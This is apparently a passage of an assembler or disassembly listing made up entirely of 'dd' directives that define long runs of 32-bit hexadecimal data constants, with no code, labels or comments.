		dd 92FDBD09h, 34D15A5Bh, 93EE4700h, 0AAEC7B1h, 71642F74h
		dd 1F2E1280h, 0E0A4C755h, 3F9839ACh, 35E2B175h,	0A0362D00h
		dd 7CBD2366h, 761E1201h, 0F5FA0CFBh, 594B5F85h,	0C8BA06C0h
		dd 0C6E2877Ah, 0C6083F0Bh, 20C45C0Bh, 162D0Dh, 0EDBF601Ah
		dd 1A58A981h, 165E7677h, 4C0F949h, 805D0329h, 89BFFFB7h
		dd 6C4FE74Dh, 37294523h, 990CC723h, 0F08A7430h,	80F3FC97h
		dd 3A6B360h, 0BFE7E18Dh, 8A31A469h, 2086C966h, 64CB2675h
		dd 99E4601h, 0FFE97AB6h, 563BEE94h, 3C058BF8h, 0B2E0B326h
		dd 5F46808Ch, 0B8F1BDE9h, 5EE394B7h, 4C051746h,	17A8203Ah
		dd 7E016E8Eh, 9DEFBD02h, 628609E3h, 88149F1Dh, 21FC07DDh
		dd 817007DDh, 0D8513AF7h, 0E665798h, 84C002A0h,	0E9C9DD80h
		dd 4ABDF117h, 1ECCD624h, 2972644h, 860FA8B6h, 0E84CFDE4h
		dd 0CF2480C4h, 0A1CE56h, 669F797Eh, 298D3370h, 96326199h
		dd 84BB6A3Ch, 28E0C9C9h, 214F4BE9h, 8E05D5FAh, 184C85B9h
		dd 4F2812Eh, 4EB22154h,	45C8240h, 820AC82Ah, 374B2E5Ah
		dd 0C968181h, 389AB1FCh, 1302201Ah, 81259529h, 0BC346A08h
		dd 1207A796h, 0C73B13CBh, 0A13BC1E6h, 0FB30076Fh, 0AD016068h
		dd 0C3F6DB8Ch, 347B0448h, 4CBC1902h, 526856C0h,	9C47A8B8h
		dd 0EE046A85h, 64DD46F5h, 85D081BEh, 2D108AAFh,	9B086847h
		dd 0F3EC18ACh, 0F08B0414h, 684F801Eh, 0F72F2661h, 0E348101h
		dd 0C1AB3650h, 286A537Dh, 85188556h, 753075C0h,	15986841h
		dd 2ADB8764h, 0C842D0A6h, 0A4684CC1h, 5A80C9E7h, 42644C20h
		dd 5B757E88h, 0B4155D94h, 15AC7054h, 4B03C727h,	0C43B092h
		dd 260FD902h, 205225F5h, 1146998Ah, 0D0026A2Ah,	0B5CA3453h
		dd 21174A91h, 6845406Dh, 0A520F797h, 9312192h, 0D50267CCh
		dd 75852E0Ch, 0C0663632h, 0A94EA1D1h, 0A4620C19h, 98463469h
		dd 75A2F863h, 292A0438h, 122AC5BDh, 0A13D2582h,	35FF6495h
		dd 0C1FC4843h, 9E732589h, 10C9B710h, 44C82309h,	0A4BEB28Bh
		dd 501312ADh, 803E2821h, 1708C889h, 8B9297D3h, 0E90B03E2h
		dd 0F84701D6h, 77601564h, 0DB293369h, 0BC07ACE8h, 0E3B0634Bh
		dd 1FE41F5h, 86D014EFh,	34D5BD89h, 33585F09h, 1B8F11BBh
		dd 0E30CC84Bh, 0D3055900h, 69CE2E0Eh, 8A680060h, 5E01BC15h
		dd 0AC04AA6Dh, 5A62EA80h, 73F81C0h, 8F64160Bh, 0C4E58805h
		dd 0A3E80427h, 90D64EE3h, 5844E472h, 512EBD40h,	709D4967h
		dd 0B4801411h, 0FB83D18Ah, 84220EB8h, 0C2810011h, 15919A34h
		dd 0AEA81EE9h, 4D498D29h, 944F7B16h, 97FA6723h,	0F08F65E6h
		dd 1924764Ch, 27A481C7h, 83039EFFh, 415B899h, 8BC3A041h
		dd 550CCE40h, 5D7EA0E8h, 97ED2481h, 838B8A3Eh, 204A281Bh
		dd 53E93989h, 4F4F5D0Ch, 0C48086DBh, 80364DE6h,	25C1EB1Eh
		dd 91CD97E5h, 0C426801Ah, 7975B464h, 0D8BA09Bh,	4806BC21h
		dd 59243E68h, 84E449A6h, 7F001DF2h, 0DC0E11B6h,	793227E7h
		dd 0DF1F02FCh, 79D5EFE5h, 83A0B74Eh, 9801A89h, 0D0AD55BDh
		dd 0A238C25Dh, 0F598E680h, 173AC968h, 0E8F2801Ah, 5EC5C0BFh
		dd 404E9809h, 4B9B906h,	0D704B800h, 5C054855h, 0D002E64h
		dd 85D465BBh, 401CBA86h, 8C3E34B6h, 0C5FE8EAh, 2FBEEEDh
		dd 564D5868h, 0AD600A75h, 9A9F1B0Dh, 0E779C56h,	0AE24DF81h
		dd 95891560h, 0DE9E0D45h, 0D3C1609Fh, 51315018h, 0D27C202Ah
		dd 0FD00FEDFh, 7D100B82h, 72FFA2h, 2CC5DECBh, 2F43BDC8h
		dd 0FCDE615Ch, 1004423Dh, 0A18830C1h, 820875Eh,	0D1C9B442h
		dd 0C1B000EEh, 0CD2D423Ch, 0CA12E3B8h, 0B490046Dh, 0AB47E9C0h
		dd 1C5B709Eh, 0DC392E31h, 70012B30h, 63007845h,	69747065h
		dd 73206E6Fh, 14667649h, 0C616D72h, 6C501E70h, 0C4735C65h
		dd 0F63202Ch, 0F8793D74h, 0F1FB68EAh, 0F166F173h, 9F72F577h
		dd 761F6412h, 705E6C9Fh, 0CC73BD7Dh, 1D3468BCh,	636C76B3h
		dd 676E1C26h, 73406763h, 0E354BA2Eh, 0EB6BEB5Eh, 0D975EB79h
		dd 4BF0D0Ah, 281901D3h,	81738070h, 5254436Eh, 0FED72B4Ch
		dd 6978CAEBh, 64B63C46h, 8AE9187Ah, 879707Bh, 2F696C8Fh
		dd 64DAF862h, 636A229h,	84DF5642h, 0FE3DFEA6h, 1E98F325h
		dd 6B63E843h, 0F4E492Ah, 4F086447h, 50E15455h, 88FE6F72h
		dd 465B0F1Dh, 0F3410F3Bh, 873DB606h, 6F1E210Fh,	348E502Ah
		dd 0B1E7718h, 0C4B0EE2Eh, 512012Dh, 0ACB2597Ah,	0B1C3848Dh
		dd 3A35657h, 0B26995F7h, 3A2642E4h, 30198517h, 75260716h
		dd 24D75116h, 65AC6761h, 10ED9667h, 34A225CFh, 0B2E9461Ch
		dd 36231C40h, 0E4851B2h, 44595423h, 593D230Eh, 45230E38h
		dd 210E3C59h, 0C30524Ch, 0E9801CF5h, 739395A2h,	22DC23BBh
		dd 0CD0DA295h, 11851012h, 218896B1h, 0B712C24h,	6E4C1CF8h
		dd 10958D2Fh, 0C1345281h, 0D4C34028h, 0F148603Bh, 0D16606F5h
		dd 5522400Ch, 139D8B2Ah, 0A4CC32Fh, 11686596h, 0A82750C4h
		dd 40085479h, 88589087h, 85C7944h, 0DC948A38h, 0AFB4DAFBh
		dd 0CD056845h, 430C5A26h, 9038213Ch, 6440C844h,	2A303234h
		dd 622A120Ah, 790621Ch,	145B1DB5h, 2409A7CBh, 2A28406Ah
		dd 0E35B5A19h, 4C0125BCh, 59EBFA0Ah, 0E9A89B18h, 0A3020B2Dh
		dd 8C245CADh, 0F6105FA7h, 0C2610C3Dh, 94E63404h, 14601983h
		dd 15F60208h, 24CC4F68h, 0F8E930C3h, 2EB58B21h,	818E3E63h
		dd 5BF083E6h, 0E8F22218h, 8127CEF2h, 3B44A1C6h,	398632B5h
		dd 51E9860Fh, 0D87920ECh, 0CF602273h, 8C66506Fh, 32409C8h
		dd 1B08C00Ah, 13892C2Ah, 85B988BBh, 934F120h, 0DB0A1886h
		dd 2C673F08h, 32F6388Bh, 0CFC62404h, 81C1F52Bh,	1DE14108h
		dd 0DDBB0719h, 70FEDC61h, 1C25C0C7h, 662AA353h,	15FCDB89h
		dd 535B0209h, 0E84C09CAh, 43513882h, 89BBE008h,	0CBEF8353h
		dd 1A03E380h, 4B3884C3h, 0C79D7617h, 0E616AD89h, 448B3739h
		dd 229845E6h, 6AF89C5h,	0AF1C188Fh, 23199A92h, 5BBD9401h
		dd 84A3C8A2h, 923E8060h, 0BB2031EAh, 0E3AB7A1h,	0B101B076h
		dd 0ACAE8852h, 2C88A07h, 0D12032C3h, 640BAACBh,	430140D2h
		dd 22C90A4Ah, 23DEE5D6h, 8011DD1Ah, 0D48B5210h,	0A7AE657h
		dd 0E9C03308h, 80AA0721h, 0C28D0A3Fh, 0BCA15A5Fh, 0B9565153h
		dd 64DB2D32h, 0AC7A77h,	81D3D1D8h, 465ABCC3h, 3EB0376Fh
		dd 970B498Ch, 0C38B88E8h, 5B595E1Dh, 0C57B6014h, 2B1911E9h
		dd 775A2AEAh, 0E747C020h, 0FA8DF21h, 4A8D81Ah, 93BAD93Ch
		dd 280B50D3h, 8F2E6056h, 8221346Dh, 687CF64h, 8989C8BDh
		dd 2F035138h, 408B6898h, 170505FCh, 899B46F3h, 14332124h
		dd 4659FD3Ch, 3047EC1Eh, 0E9AE10C9h, 0DF69D187h, 72247648h
		dd 0C7A004Dh, 45CAB2B8h
		dd 3589A94Eh, 0E43006C0h, 46C801D1h, 820FF73Bh,	28D49F1h
		dd 289708EAh, 97284CB2h, 51560428h, 4138453h, 980C4A2Ch
		dd 2D503C67h, 4880AC9h,	13340198h, 0C3C1D832h, 5D1C2108h
		dd 5B1C4067h, 37A25E59h, 405F9802h, 0E9686D11h,	880C878Ah
		dd 0AF4431ADh, 90E8437h, 0FF80C8E8h, 38240070h,	0A7BE666Dh
		dd 0F95C5AB4h, 6850173Fh, 0D6D0B4h, 0C02BDA7Ah,	34FFC88Bh
		dd 35B103Eh, 8AD4DBEBh,	0F93E795Dh, 4D0F3E8h, 0F35ED3Ah
		dd 80378980h, 4EE7C354h, 0C0536F89h, 0EEF8C756h, 24C048Fh
		dd 978CC02Ah, 2485814h,	295AA2A6h, 47D1539Ch, 0DEE71D00h
		dd 58FE4B09h, 0C85E0FB1h, 83075ED0h, 0BF6604E8h, 0F8815FD0h
		dd 1E985934h, 0AD9F8515h, 5804C84Bh, 3FB57100h,	9C5DC6B9h
		dd 63020084h, 64DBDAB1h, 2FE81287h, 2CE17F00h, 60AAEED5h
		dd 27090091h, 0D8FC4029h, 8F032662h, 8BB210BDh,	0FEF3E8E4h
		dd 9D6003A4h, 0F2C68D7Dh, 0E7495180h, 62DACF00h, 87FAF23h
		dd 5D530A2h, 0EDF4A421h, 28973214h, 0CED8E120h,	86004B18h
		dd 326D1ADh, 76075A4h, 0CFEB4057h, 31AF3028h, 0BA7E625Eh
		dd 3D7FAA00h, 0DCB57BA0h, 0E487012Ah, 0AC2E24F5h, 0C9C01064h
		dd 0D58101C3h, 0DDA8DE98h, 3008A0E0h, 0C3B1A106h, 76B84B56h
		dd 0E1CF89CDh, 26B08542h, 3781E683h, 109FA69Eh,	3D12062Dh
		dd 0E30921FFh, 83C32382h, 0BB22C426h, 0FD083068h, 239A4121h
		dd 3C58D0E5h, 0BED68D02h, 2F478h, 69BD94F1h, 80A7E238h
		dd 99A2A1D8h, 205BA3h, 86C81B4Fh, 1263CF03h, 4162500h
		dd 0BAF3CEDCh, 0E80B600Fh, 1F522908h, 80F6D0CAh, 5AD200DCh
		dd 0E31AD7F3h, 0D801C963h, 0D3031CD4h, 0A98FF2E1h, 8580BCA5h
		dd 0FFAD2279h, 0CF401E60h, 76FB54Bh, 9A02975Fh,	6018FC78h
		dd 0E739060Fh, 0C88E2009h, 0D03EA564h, 0DC002808h, 6716E730h
		dd 620674A0h, 0DDD322E8h, 52600059h, 86922510h,	0D4009B15h
		dd 2B4185C5h, 0C8AAEFE1h, 0C7C034E8h, 46D57FC3h, 1C622C8h
		dd 2FC3AFA3h, 0D4FD10DFh, 2000D0D5h, 2A4E7E25h,	1680294h
		dd 8D6AC0Fh, 0FB4FD3DFh, 17C2890Ah, 0B021E479h,	1818C8F1h
		dd 0F2A0C001h, 0E178042Eh, 0E85178F3h, 0A7AA30B0h, 6206C411h
		dd 144D3C00h, 0A425FF01h, 0C0C1E802h, 620E6621h, 0B25C7370h
		dd 580105E0h, 0C440E388h, 0F6244FAFh, 0BB28A385h, 0A5C5F015h
		dd 0DA25037Bh, 3057AC6Dh, 1AF7823h, 4D37620Bh, 88D9180Ch
		dd 62121367h, 0DA004292h, 0F66C843Bh, 8564A08Bh, 91730FDh
		dd 3FF70411h, 0FC1FD4FCh, 27C02824h, 881B33BBh,	0D42C904Fh
		dd 0E23A429h, 0C7237E05h, 0A462CFC5h, 964520FAh, 2C005823h
		dd 36DAD8ACh, 277A3E2h,	0A2655D3Eh, 0C47A8BEh, 1B80714Fh
		dd 0F6C8ABD9h, 0C2F79D02h, 4B13E4D3h, 5E6C0354h, 7E385CF1h
		dd 85B57AD0h, 0C9C434A5h, 95704D60h, 1006C707h,	3E00376Ch
		dd 48BAD7F6h, 3424F0DAh, 468C20BCh, 237F0213h, 678089CAh
		dd 97440730h, 9A132023h, 4A0A0A96h, 0B4202846h,	99029884h
		dd 3C36CC98h, 26A108E7h, 0E72DE1C0h, 9011F88Ah,	3DCFEECh
		dd 9C13C9E2h, 0E03ADB7Bh, 0DAA118D4h, 7FA0881h,	0C19259Fh
		dd 19D2C6D5h, 28278412h, 0C35EA440h, 9822E453h,	12954614h
		dd 8C0AE73Ah, 0EE444846h, 0E731E540h, 320278B0h, 82F35851h
		dd 0D33C48C2h, 29EC63D8h, 7900EF3Dh, 24C1A20Fh,	0F233EAEh
		dd 7A6D6632h, 3C6E5400h, 0F10021CBh, 0DD25294Bh, 589B58A2h
		dd 0F31D8C1Fh, 18D8EA4Ch, 51047ACFh, 8C988523h,	1674D522h
		dd 709F5539h, 97330774h, 0D2DA48C7h, 0E14D0238h, 0A8C1525Fh
		dd 2745C479h, 0A30BEB70h, 143ACA94h, 0FBB41B8h,	34661120h
		dd 0B1D3AD86h, 724D543Bh, 0FEDFC400h, 8BF0D802h, 40710027h
		dd 1BCE7816h, 6706E48Ch, 55AFC47Ah, 4605039h, 7897503Dh
		dd 25CF0296h, 0C76AC847h, 77C380C0h, 0CE118116h, 0B5E1DC40h
		dd 0F862BB90h, 0D84F0D0Ah, 0E040F324h, 0DB018A0Ch, 0D94D16B6h
		dd 28A0417Bh, 0D4112C98h, 490764B0h, 63488E23h,	3CD2D71h
		dd 61758520h, 0BBE0A303h, 6C753689h, 2D4C800h, 0EA69478h
		dd 7EFE0034h, 69619BD5h, 8C0B1CC7h, 0DC40F9h, 0F2331D10h
		dd 8ED5038Ah, 7C314F04h, 51BC8935h, 3D29FB81h, 74233181h
		dd 82C76D71h, 10514D80h, 9DBC874Eh, 0E4B9A5B3h,	0E61FE203h
		dd 815C1804h, 9700C67Dh, 0F54A2CF8h, 0D1266B0Dh, 9401C969h
		dd 308A5BF1h, 1EE8B223h, 81386297h, 189FC1AAh, 1729E0FBh
		dd 423CCE2h, 9ACFAD70h,	1F7518B4h, 81BE1801h, 0AA948C50h
		dd 29A72101h, 0B8062C03h, 92758040h, 60A1064Fh,	298FE9BDh
		dd 35112D42h, 1FC622BAh, 8FFA0D32h, 0BFE0469Eh,	856F72E0h
		dd 4BD2907h, 3B904FDAh,	66FAA1h, 7A1793A8h, 357FD1DFh
		dd 0CA043800h, 0F0367009h, 0BAF72CD7h, 55720066h, 6D7C33AEh
		dd 9FC2EF00h, 0ACDFF810h, 5430146Eh, 97A9480h, 0D33A19E0h
		dd 0C7014280h, 130043D1h, 41CF86B4h, 0F4049FDBh, 0BB4403A4h
		dd 0DFB1CBE8h, 0A01F3080h, 0FB020F7Ch, 625E2FBAh, 11506805h
		dd 0AB100348h, 0D498B06Eh, 514BED80h, 7060E298h, 76266C19h
		dd 9EA73C72h, 8B041781h, 0F04CF0C8h, 0CA006AECh, 84570EB6h
		dd 2E70CF97h, 27ABF2h, 550C878Dh, 7C01A53Ah, 798C1949h
		dd 90DBE9ADh, 72033D9h,	0B33F713Eh, 0A608B1B4h,	50E857B5h
		dd 42962999h, 21568800h, 0F6A1A88Dh, 1B48301Ah,	0FFD39599h
		dd 58F1ED00h, 683B3CAFh, 9298E7h, 86415071h, 0F9E022B8h
		dd 0F05A0B14h, 80EA88ACh, 3D546B67h, 220E9CB7h,	0C6BF08h
		dd 0F56D05A0h, 0B07042Ch, 0C512DD74h, 91E980C6h, 3D001CEDh
		dd 4DF4ABD6h, 9203B3h, 393AAF44h, 0BDCB8D86h, 0BA785C1Ch
		dd 8EB51640h, 0F1E82ADh, 15144A54h, 900C55E7h, 24FAE662h
		dd 0F35E9400h, 5249809Bh, 149F00FCh, 516C48F4h,	1A70B4ABh
		dd 65E7EF00h, 0B77153BFh, 0A0700BEh, 0F2110387h, 1C004581h
		dd 82E57B2h, 0B8B07Ah, 0C388AAA7h, 1BEF4250h, 0F401D83Eh
		dd 0F386BB00h, 9B517CDAh, 0E4CA0692h, 30A83125h, 2EC23D00h
		dd 25E22A2h, 2783032Ch,	0BB9BB442h, 993D14A8h, 8D880A04h
		dd 0B8913981h, 1DDCD33Ch, 0F9852EF5h, 0D9A600FAh, 0DAAE5C1Fh
		dd 82757674h, 5400FE70h, 0F0627564h, 1E8CA4ACh,	0C340EFC5h
		dd 0FE162DBBh, 2CEE81A0h, 9D5FD03Eh, 8F41CFECh,	0B2E343DCh
		dd 40997892h, 3A4D6FF4h, 8600DBC4h, 0B31F7F75h,	6946AFh
		dd 959A44FDh, 3A617B20h, 0D2E8A60Eh, 121FA058h,	78F1C2h
		dd 0B0CA0A44h, 3783307Bh, 3243CE8h, 0F301C073h,	4FF02DBCh
		dd 4A0F1028h, 50401220h, 5666CE93h, 0DA868E1Eh,	0E2964C41h
		dd 44206338h, 2EF894h, 4F8A2907h, 98A2C1FEh, 49676800h
		dd 9514B91Fh, 0EF5A0293h, 46634008h, 91DD9840h,	0DA8FE400h
		dd 0F904D46Bh, 3F060BCDh, 9D564D78h, 95A92B01h,	0FCCC3510h
		dd 2A48C3B6h, 400C4D49h, 808E40FDh, 8FA700B2h, 26AC4219h
		dd 8D7C738Ch, 0EFFD7000h, 0C00F6762h, 823E001Fh, 1306464Bh
		dd 0AE0083F0h, 0A13CBB9Fh, 0FE3356h, 5B976BADh,	557CF821h
		dd 0CF53EE00h, 9C208F8Ch, 267E95h, 0A1516485h, 0FED21641h
		dd 0EE08E400h, 0E1FBC115h, 5592001Dh, 0C3D19A75h, 1C9C73F1h
		dd 0F342700h, 0F7E224h,	9BB74E55h, 646D8F21h, 4CFDE500h
		dd 6144B051h, 0E74900D7h, 0A4147583h, 5A00AE56h, 21460E37h
		dd 7C6CF0h, 0FCD8629Ch
		dd 0B03B1DAFh, 0F4776E00h, 57BA66E8h, 41B90E15h, 9352A3h
		dd 23101C08h, 0DF0F7DE0h, 23AAF1E4h, 80146B16h,	1EFE4513h
		dd 404FBB05h, 4B539E96h, 2100F3EBh, 2058D3BDh, 510AA1h
		dd 0F62CA2BBh, 4E19C3CFh, 0C02BB101h, 4D3B37C4h, 0A60D447h
		dd 0B7A466h, 6EC50717h,	5C469893h, 0BCE339h, 0AEA97BB8h
		dd 0FCFE250h, 8004D85Eh, 0F326A700h, 631C4BD0h,	41C0DDD7h
		dd 0F2971ECEh, 0B3700C8h, 0E0FC3BAFh, 0B201545Eh, 0C3F831AAh
		dd 28804415h, 0F5C1551Bh, 98170F99h, 0DE135B5Dh, 2CE4B202h
		dd 52084082h, 7C781A69h, 0B26312DAh, 970FAEB0h,	0CEEEDF00h
		dd 9D4DE1DDh, 0CA66008Dh, 36F1E351h, 0B9000D6Eh, 2A92E4ECh
		dd 25D97h, 0AC09CDD5h, 5BED8E8Ah, 66622900h, 0F6938C1Dh
		dd 54420952h, 7903E098h, 0DF9096A3h, 53007AF2h,	2F9B8A4Eh
		dd 1EAEE495h, 40A6BB29h, 5E55FBE3h, 77F613Fh, 24342024h
		dd 38A36B02h, 5408C08Dh, 425E0019h, 3A3BEDBDh, 8ECFDA13h
		dd 2980F07h, 63C10B8Ch,	8D1188BAh, 93F300B3h, 1484C8DDh
		dd 0E7005E3Eh, 21FE1DF9h, 4C8685C5h, 0F40062CAh, 0C464E0D8h
		dd 980990A4h, 687B29BCh, 1C84F2FCh, 0CBB5FE0Eh,	30A5F8AAh
		dd 4063BCD4h, 0B10034EEh, 0B8C762DDh, 0E2767Fh,	0ECC9AFD2h
		dd 5E496428h, 0F1732F01h, 9A350FE8h, 4086289Eh,	0FC8A0C60h
		dd 5D26774Fh, 0E31E9071h, 3B2247C0h, 0B76966B5h, 0A854EC0h
		dd 0C7B83400h, 0E954649Bh, 48477105h, 2603F8D8h, 4D18BCFFh
		dd 89811688h, 6D07EC01h, 61390445h, 4C92C0h, 8354A242h
		dd 0CA0C949Fh, 0CD0450F2h, 612EE15Fh, 0EAE720B0h, 18C90C2h
		dd 56D6FD9Eh, 0E89D57EAh, 72078C91h, 3AA3D908h,	0FB303E70h
		dd 0C7023CAEh, 170FA3Eh, 5895626Ch, 60DF8D9Eh, 6B267452h
		dd 0DB00A876h, 4CEE04E4h, 20AD1252h, 77FE001Bh,	0C2FF3818h
		dd 0BA020DE4h, 333D633Bh, 1770602Dh, 0E30B0586h, 0C0F8BD24h
		dd 71D3524h, 0B31E641Ch, 6E17A440h, 60152BB4h, 408EE8C5h
		dd 58009E3Eh, 48E1B618h, 0BB526Eh, 0A5811985h, 386499CAh
		dd 191374Ch, 4080CD4Fh,	8051E0DAh, 9CF0E567h, 7D1E0093h
		dd 0D76AD857h, 1500411Dh, 5887F20Ch, 112B923h, 2F7CB0BEh
		dd 40BA4782h, 0E1EC80E0h, 1ED81100h, 0D33F6B28h, 0A0DF7EF9h
		dd 25645B80h, 0F829F085h, 0D3288Eh, 0C3849438h,	0E7006A71h
		dd 9688F39h, 0B9CCEFh, 0C57CEA96h, 9392BCF1h, 576B4300h
		dd 0F45C8E22h, 0F5E00EFh, 3BBFCA1h, 700A7D1h, 0D7778AB7h
		dd 8839A6h, 4D30D228h, 0A8C0A082h, 27006892h, 7880217Ah
		dd 0CDE77C4h, 9596F8C8h, 4E789D98h, 9F0B137Eh, 22212325h
		dd 80ABA5B4h, 2CC4B20h,	0D44D3A37h, 0F6E12E00h,	6799C6E5h
		dd 0E9854417h, 7FA3A200h, 235C311h, 0DEF0DB98h,	28832425h
		dd 0BCC230B1h, 0F56CBB80h, 0FCF1358Bh, 2D01EA42h, 0CC2C77F1h
		dd 90852609h, 1BEA006h,	2B44F40h, 256C5831h, 9B302250h
		dd 180C38C0h, 3869758Ch, 0EC87CD26h, 69DC8D53h,	6163E440h
		dd 7B0C870Eh, 629DE625h, 7AAD1048h, 0A2F8071Ch,	3DC2BB45h
		dd 0EC2A2020h, 0ADE0EB99h, 15D00901h, 4801F5A3h, 82342990h
		dd 2EE1072h, 0FD22D595h, 40582431h, 9C88AC0Eh, 4E6F076Ah
		dd 703323E5h, 5CDCF928h, 0A9B4531Dh, 4F40BBDFh,	0DD0750C1h
		dd 0BE0C008Bh, 96E25136h, 9D00996Eh, 0B9940454h, 0B0B48440h
		dd 0E5381E88h, 789B4BEEh, 9671C80h, 9506153Dh, 0CBCEFF6Fh
		dd 0B96203EEh, 69EC934Ah, 313B2908h, 909F003Eh,	3CB67D20h
		dd 30ACFF2Eh, 2833303Fh, 33AE9DB5h, 30183DD7h, 0E5E75A0h
		dd 2F6B8C00h, 0E86572CFh, 231E09FFh, 0DC8018E4h, 0FBA13263h
		dd 1B7EC17h, 0E079C033h, 139BFEBh, 0FF7DA20h, 0FC011C4Dh
		dd 2C1F3ACBh, 242E71FAh, 0F84A95h, 0FFF39073h, 0F6BA533Eh
		dd 78170303h, 49C0DD6Bh, 226028CAh, 0B300CA1Fh,	995FEB1Eh
		dd 22C7E8h, 0FA7BADD2h,	0C81474EAh, 3CF02002h, 81B1A0A4h
		dd 54D1D49Ch, 43002472h, 0D2C8FD3Ah, 412AB57Ch,	723F8404h
		dd 0C2EC8730h, 84F7DB6Ah, 3780E0BAh, 8B738A98h,	0D75C00F4h
		dd 0AA0C3DC0h, 0FF008FB3h, 0B068E0EDh, 57F6719h, 0D5F78382h
		dd 72C882AEh, 5600F354h, 32C69E10h, 943500F8h, 748AD0E1h
		dd 69002548h, 0A9627134h, 0B48256A2h, 0F5060090h, 3BE596E8h
		dd 0B4AAA1C0h, 6CC0290h, 79DC89A9h, 0EC80E897h,	3E001C87h
		dd 4472B6F3h, 4B7D3A7Ah, 43A41CC4h, 9F115DF2h, 0ED53D680h
		dd 0A0965600h, 367D326Bh, 831F0699h, 30658FC4h,	0B4878B00h
		dd 7397D838h, 190B6014h, 0F80CB7FBh, 0A62D5124h, 0EB64100h
		dd 0C2CE70h, 0A57D1049h, 0F0F35E8Eh, 0B80F5F00h, 0C13A52FFh
		dd 44A04803h, 891CB707h, 0E554A286h, 4EC508C0h,	8B99053Ah
		dd 7D9847h, 0CBDB7E6Fh,	41112885h, 50779Bh, 36EA275Dh
		dd 62F0AE81h, 34B0A800h, 58BB08AAh, 1F183E4Ah, 9BA9EB81h
		dd 7CCA5375h, 78A44C1Ch, 0BBFA8F00h, 7DB5AA3Ah,	82E400F4h
		dd 4839CB0Fh, 700098E6h, 0B0A75C73h, 0EE64A68Eh, 3BCC00D6h
		dd 0EF169E21h, 7B3D67E7h, 0FC5C967Ch, 4E08B20Fh, 6240DD57h
		dd 6EAA8F1Bh, 2F6EADFh,	76A434BDh, 30E0AB5Dh, 2600172Fh
		dd 45CFC1F9h, 7FCD40h, 6E19E2FFh, 6809C210h, 4CA03C58h
		dd 940A28B8h, 0B70A2B98h, 94F17B75h, 0A5746B80h, 0C9533Dh
		dd 0EF07093Ch, 3918D0ACh, 910462FCh, 5E47B91Ah,	377901C0h
		dd 8BC048EDh, 48853207h, 8257A0BAh, 1216DEE7h, 681F24D7h
		dd 91BC9680h, 0E046690h, 2B33A9CFh, 72FAE1A0h, 0BD00374Ah
		dd 3D4B85F1h, 7C09CBh, 0D62F6731h, 0CFE9CD24h, 711648h
		dd 84B64773h, 63F59Ah, 2045C6D2h, 0AA0B2CB5h, 0BE584200h
		dd 40317664h, 727D07CBh, 222D99DCh, 27E03A1Ch, 0DE008CA1h
		dd 5FC7DF90h, 79C6F8h, 85A5506Bh, 83FFAA94h, 40109090h
		dd 4C1304F1h, 208420BDh, 6919520Ch, 0FF10770Bh,	0AA2CD8h
		dd 0CEB98460h, 26B1E186h, 9007C830h, 138089ADh,	1CFC37D9h
		dd 55B7407Eh, 4364EA08h, 0A36D530Ah, 700BC52h, 54AF6FD6h
		dd 4C1C00C1h, 0CEC8BCC4h, 623F9431h, 4BC98F77h,	258EA037h
		dd 0C0FC63DCh, 4EC25DE8h, 872E5FB1h, 75811092h,	0D243240Eh
		dd 4F0F9C20h, 21B01ECCh, 60EDFC89h, 0E6A298h, 0DE9C74A1h
		dd 0EB8F5AF8h, 842C903h, 0E8067B9Eh, 22364Dh, 89DF5793h
		dd 20BCBE28h, 584CFD07h, 0C1307EBAh, 627B01B3h,	404380A5h
		dd 30EDFC0h, 0D3798A00h, 29DB48C7h, 27990130h, 5063DDF8h
		dd 0BAEDCC9Dh, 0B8A92F00h, 7CE2F27Dh, 3ACA090Eh, 9800E445h
		dd 0F0746EC0h, 7AB0A64Ch, 10C3202Eh, 43FB813Fh,	97D94BEAh
		dd 634F8C4h, 6E513F65h,	3A00E8CFh, 137B9B5Fh, 3E23B5h
		dd 25AAB4D1h, 91C1CDF4h, 3A00C2F4h, 0DF8DD9BDh,	5F0FEDBh
		dd 0EC73A1EFh, 7B1BC056h, 0AB4AE45Bh, 4433C00h,	7EA7718h
		dd 34D247E8h, 70818705h, 6B3DF6A1h, 0BECC081Fh,	0B200E868h
		dd 0E99924F4h, 0D4A6E2h, 62470E37h, 0D6B7FE54h,	0C9291D01h
		dd 4F5C36E1h, 0B5BAB087h, 26421075h, 0AE1C8279h, 98DE1E64h
		dd 0ADE200FCh, 0B4DD4B46h, 0E17029h, 0B1429734h, 5513B69Eh
		dd 9AF2500h, 616E8599h,	0BF3407ECh, 90C13CD3h, 0EA4DD62Eh
		dd 0C7D7F817h, 0F6F1F700h, 0E7404EFh, 2A17D54h,	36F200D3h
		dd 0E4903928h, 4D7AA203h, 0D066C4C6h, 26D3011h,	6F89C90Fh
		dd 0C041385Ch, 5DA07443h
		dd 0CD0309EAh, 812E77B1h, 0B4CC7FECh, 0BB0E0014h, 36672420h
		dd 2598A207h, 0D3006A94h, 5C4727CDh, 6E003718h,	0EDC11B3Eh
		dd 417E4F71h, 25000498h, 96BB3B63h, 285279h, 81429BCh
		dd 0DCF8DA87h, 0C4D06251h, 9C0F9BB3h, 414AFE7Bh, 65FB8A20h
		dd 8E00883Ch, 0AE909E6h, 7C017912h, 8178A3C8h, 60E6AAA0h
		dd 6DE61Fh, 2A9A98B0h, 0C4658376h, 0A2A5EE04h, 0F0A0F58Bh
		dd 0BABD2615h, 5218004h, 0D076F2BFh, 0D51234B6h, 0BA4FA800h
		dd 0FBFDD723h, 0E8822880h, 735C11E1h, 0CB54BF78h, 8C008698h
		dd 1B9DBEF6h, 0EF442h, 3E56B871h, 342A91BDh, 70820F00h
		dd 0C12EEA5Fh, 263B00D6h, 0D9880914h, 7CA6FAF7h, 4D006898h
		dd 44D5944Fh, 75DF2Fh, 0DD6F458Eh, 0C779E11h, 0E781F700h
		dd 2CA6CBB5h, 0D89867h,	9ACA8F07h, 1421D69h, 41732500h
		dd 1FE0A4FAh, 0E37F00BBh, 644BFE3Ch, 2C143702h,	788A72Ah
		dd 9ADF20D5h, 0EA853A40h, 0E384A863h, 0B430C812h, 32084D18h
		dd 0B97D00DDh, 5CD5AAEFh, 0C401D087h, 0F8A8BE9Fh, 202C98A5h
		dd 0E3C8DE0Dh, 0B50AF058h, 19DC3205h, 0A0C18FD2h, 8F0DEE2h
		dd 0CC400A76h, 4E8DADDh, 0A03A8BB3h, 4D0830ECh,	40BFA077h
		dd 80211727h, 0CA3EC4EEh, 0B609748Bh, 52610489h, 0C29F3EA0h
		dd 8078D730h, 0E73E7675h, 0E6E00A1h, 2D90C535h,	0EBF50081h
		dd 4D8AC2F9h, 0C70195A7h, 0DAE9041Ch, 0CE3AD2Fh, 90DB8471h
